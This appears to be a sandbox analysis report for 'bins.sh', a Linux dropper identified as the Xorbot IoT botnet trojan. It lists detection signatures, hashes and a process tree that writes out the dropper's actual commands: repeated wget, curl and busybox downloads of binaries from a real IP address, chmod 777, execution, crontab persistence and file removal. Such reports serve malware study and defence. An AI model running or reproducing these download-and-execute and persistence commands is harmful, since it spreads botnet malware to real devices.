Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    31/12/2024, 15:22

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241231-srwtqaypbr
  • SHA256 c19a67c8f951e4fa35b39857509724655177b1e5fae8326504886d0518d02ebf
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:650
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://66.63.187.225/bins/cxzJRU2ROFg9rVte3ultFNHJefruOMhyma
          2⤵
          • Writes file to tmp directory
          PID:654
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/cxzJRU2ROFg9rVte3ultFNHJefruOMhyma
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:680
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/cxzJRU2ROFg9rVte3ultFNHJefruOMhyma
          2⤵
          • Writes file to tmp directory
          PID:693
        • /bin/chmod
          chmod 777 cxzJRU2ROFg9rVte3ultFNHJefruOMhyma
          2⤵
          • File and Directory Permissions Modification
          PID:700
        • /tmp/cxzJRU2ROFg9rVte3ultFNHJefruOMhyma
          ./cxzJRU2ROFg9rVte3ultFNHJefruOMhyma
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:702
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:704
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:706
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:708
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:710
              • /bin/rm
                rm cxzJRU2ROFg9rVte3ultFNHJefruOMhyma
                2⤵
                  PID:721
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/vrXI5mXq11X5105Bp66NuMQN68ufltdUuV
                  2⤵
                    PID:724
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/vrXI5mXq11X5105Bp66NuMQN68ufltdUuV
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    PID:728
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/vrXI5mXq11X5105Bp66NuMQN68ufltdUuV
                    2⤵
                    • Writes file to tmp directory
                    PID:731
                  • /bin/chmod
                    chmod 777 vrXI5mXq11X5105Bp66NuMQN68ufltdUuV
                    2⤵
                    • File and Directory Permissions Modification
                    PID:743
                  • /tmp/vrXI5mXq11X5105Bp66NuMQN68ufltdUuV
                    ./vrXI5mXq11X5105Bp66NuMQN68ufltdUuV
                    2⤵
                    • Executes dropped EXE
                    PID:744
                  • /bin/rm
                    rm vrXI5mXq11X5105Bp66NuMQN68ufltdUuV
                    2⤵
                      PID:746
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/ed9l4heUA0r4AQKvUNgrgRFhah3MKxpZuf
                      2⤵
                        PID:747
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/ed9l4heUA0r4AQKvUNgrgRFhah3MKxpZuf
                        2⤵
                        • Checks CPU configuration
                        PID:748
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/ed9l4heUA0r4AQKvUNgrgRFhah3MKxpZuf
                        2⤵
                        • Writes file to tmp directory
                        PID:749
                      • /bin/chmod
                        chmod 777 ed9l4heUA0r4AQKvUNgrgRFhah3MKxpZuf
                        2⤵
                        • File and Directory Permissions Modification
                        PID:756
                      • /tmp/ed9l4heUA0r4AQKvUNgrgRFhah3MKxpZuf
                        ./ed9l4heUA0r4AQKvUNgrgRFhah3MKxpZuf
                        2⤵
                        • Executes dropped EXE
                        PID:757
                      • /bin/rm
                        rm ed9l4heUA0r4AQKvUNgrgRFhah3MKxpZuf
                        2⤵
                          PID:760
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/TlCRGq79kVuuD8x3Hf404GoG2OCSgRYiK8
                          2⤵
                            PID:761
                          • /usr/bin/curl
                            curl -O http://66.63.187.225/bins/TlCRGq79kVuuD8x3Hf404GoG2OCSgRYiK8
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            PID:763
                          • /bin/busybox
                            /bin/busybox wget http://66.63.187.225/bins/TlCRGq79kVuuD8x3Hf404GoG2OCSgRYiK8
                            2⤵
                            • Writes file to tmp directory
                            PID:766
                          • /bin/chmod
                            chmod 777 TlCRGq79kVuuD8x3Hf404GoG2OCSgRYiK8
                            2⤵
                            • File and Directory Permissions Modification
                            PID:777
                          • /tmp/TlCRGq79kVuuD8x3Hf404GoG2OCSgRYiK8
                            ./TlCRGq79kVuuD8x3Hf404GoG2OCSgRYiK8
                            2⤵
                            • Executes dropped EXE
                            PID:778
                          • /bin/rm
                            rm TlCRGq79kVuuD8x3Hf404GoG2OCSgRYiK8
                            2⤵
                              PID:780
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/nn4lhqEjYnbKgnTuQsmp704rSm2jNkn02v
                              2⤵
                                PID:782

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  TlCRGq79kVuuD8x3Hf404GoG2OCSgRYiK8
                                  • Path /tmp/TlCRGq79kVuuD8x3Hf404GoG2OCSgRYiK8
                                  • Size 122KB
                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  cxzJRU2ROFg9rVte3ultFNHJefruOMhyma
                                  • Path /tmp/cxzJRU2ROFg9rVte3ultFNHJefruOMhyma
                                  • Size 177KB
                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  ed9l4heUA0r4AQKvUNgrgRFhah3MKxpZuf
                                  • Path /tmp/ed9l4heUA0r4AQKvUNgrgRFhah3MKxpZuf
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  vrXI5mXq11X5105Bp66NuMQN68ufltdUuV
                                  • Path /tmp/vrXI5mXq11X5105Bp66NuMQN68ufltdUuV
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.k9xQU3
                                  • Path /var/spool/cron/crontabs/tmp.k9xQU3
                                  • Size 210B
                                  • SHA256 6c2cd1d39d737b797092bb7ef69faf94c85b7a1007aca94c42716f91f9e6f4c3
                                  • MD5 SHA1 SHA512
                                  Submit Download